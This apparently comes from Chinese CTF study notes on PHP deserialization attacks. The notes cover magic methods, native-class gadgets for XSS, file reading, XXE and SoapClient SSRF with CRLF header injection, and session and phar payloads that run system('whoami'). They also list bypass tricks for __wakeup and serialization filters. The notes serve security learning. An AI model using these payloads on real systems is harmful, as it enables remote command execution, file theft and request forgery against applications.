- class c {
- private $name = 'hacker';
-
- function __construct() { // 构造方法,new时调用
- echo 'construct
'; - }
-
- function __serialize() { // 序列化时调用
- echo 'serialize
'; - return ['hack'];
- }
-
- function __unserialize($data) { // 反序列化时调用
- echo '__unserialize ';
- print_r($data);
- echo '
'; - }
-
- function __sleep() { // 序列化时调用,存在 __serialize 就不调用
- echo 'sleep
'; - return [];
- }
-
- function __wakeup() { // 反序列化时调用,存在 __unserialize 就不调用
- echo 'wakeup
'; - }
-
- function __debugInfo() { // 对对象使用 var_dump 时调用
- echo 'debugInfo ';
- return [];
- }
-
- function __clone() { // 对对象使用 clone 时调用
- echo '
clone
'; - }
-
- function __destruct() { // 析构方法,对象销毁时调用
- echo 'destruct
'; - }
-
- // 异常处理魔术方法
- function __get($name) { // 获取不存在或不可访问的变量时调用
- echo 'get '.$name.'
'; - }
-
- function __set($name, $value) { // 给不存在或不可访问的变量赋值时调用
- echo 'set '.$name.' '.$value.'
'; - }
-
- function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
- echo 'isset '.$name.'
'; - }
-
- function __unset($name) { // 对不存在或不可访问的变量使用 unset 时调用
- echo 'unset '.$name.'
'; - }
-
- function __call($name, $parameter) { // 调用不存在或不可访问的方法时调用
- echo 'call '.$name.' ';
- print_r($parameter);
- echo '
'; - }
-
- static function __callStatic($name, $parameter) { // 调用不存在或不可访问的静态方法时调用
- echo 'callStatic '.$name.' ';
- print_r($parameter);
- echo '
'; - }
-
- function __toString() { // 对象被当作字符串使用时调用
- echo 'toString
'; - return '';
- }
-
- function __invoke() { // 对象被当作函数调用时调用
- echo 'invoke
'; - return '';
- }
- }
-
- // 创建对象
- $c = new c();
- var_dump($c);
- clone $c;
-
- // 序列化
- $s = serialize($c);
- echo $s.'
'; -
- // 反序列化
- $u = unserialize($s);
-
- $u->pass;
- $u->pass = 'hacker';
- isset($u->name);
- empty($u->name);
- unset($u->name);
-
- $u->function(1);
- c::function(2);
- $u::function(3);
-
- echo $u;
- $u.'';
- $u();
Error类
PHP>7.0,因为存在__toString,可以进行XSS
echo new Error('<script>alert(1)script>');
Exception类
因为存在__toString,可以进行XSS
echo new Exception('<script>alert(1)script>');
DirectoryIterator类
因为存在__toString,可以获取符合要求的第一个文件名
echo new DirectoryIterator('glob://flag*');
SplFileObject类
因为存在__toString,可以读取文件内容
echo new SplFileObject('/flag');
SimpleXMLElement
可以造成 xxe
xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)
SimpleXMLElement('http://127.0.0.1/xxe.xml', 2, TRUE);
SoapClient类
因为存在__call,可以进行SSRF
phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启
- // ua是为了覆盖请求头并让请求包后面的其他内容无效
- $ua = "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";
-
- $soap = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1/ssrf.php', 'user_agent'=>$ua));
- $soap->function();
可以通过 NC 看构造的请求包
- POST /ssrf.php HTTP/1.1
- Host: 127.0.0.1
- Connection: Keep-Alive
- User-Agent: ua
- X-Forwarded-For: 127.0.0.1
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 6
-
- ssrf=1
- Content-Type: text/xml; charset=utf-8
- SOAPAction: "http://127.0.0.1/#function"
- Content-Length: 394
-
- <?xml version="1.0" encoding="UTF-8"?>
- <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>
Session反序列化
php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:"xxx";
当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}
当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:
先访问这个生成:a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- $_SESSION['user'] = '|O:1:"c":1:{s:4:"code";s:6:"whoami";}';
再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化
- class c{
- function __wakeup() {
- system($this->code);
- }
- }
- session_start();
phar包反序列化
phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化
生成Payload
- class c{
- public $code = 'whoami';
- }
-
- $phar = new Phar('1.phar');
- $phar->startBuffering();
- $phar->setStub("");
-
- $o = new c();
- $phar->setMetadata($o);
- $phar->addFromString('1.txt', '1');
- $phar->stopBuffering();
访问进行反序列化
- class c{
- function __wakeup() {
- system($this->code);
- }
- }
- include('1.phar');
开头
数字
O:+1,PHP<7.2
O
- <?php
- class c{
- public $code = 'whoami';
- function __wakeup() {
- system($this->code);
- }
- }
-
- // a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
- $array = [new c()];
- echo serialize($array);
- echo '
'; -
- // C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
- $obj = new ArrayObject();
- $obj->append(new c());
- echo serialize($obj);
- echo '
'; -
- // C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
- $obj = new SplObjectStorage();
- $obj->attach(new c());
- echo serialize($obj);
- echo '
'; -
- // C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
- $obj = new SplStack();
- $obj->push(new c());
- echo serialize($obj);
- echo '
'; -
- // C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
- $obj = new SplQueue();
- $obj->enqueue(new c());
- echo serialize($obj);
- echo '
'; -
- // C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
- $obj = new SplDoublyLinkedList();
- $obj->push(new c());
- echo serialize($obj);
魔术方法
__wakeup绕过,大于实际值(PHP<=5.5),例:O:1:"c":100...
__destruct绕过,前面抛出异常
__destruct调用,结构错误,例:O:1:"c":1:{xxx}
private序列化有不可见字符,复制会出错,可以urlencode。包含\n、标签这种情况在HTML复制的不对要ctrl+u复制
数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:"xxx";、a:2:{i:0;s:1:"1";i:1;s:1:"2";}
要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改
看似反序列化的题结果静态函数不需要对象
字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)
本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16932108.html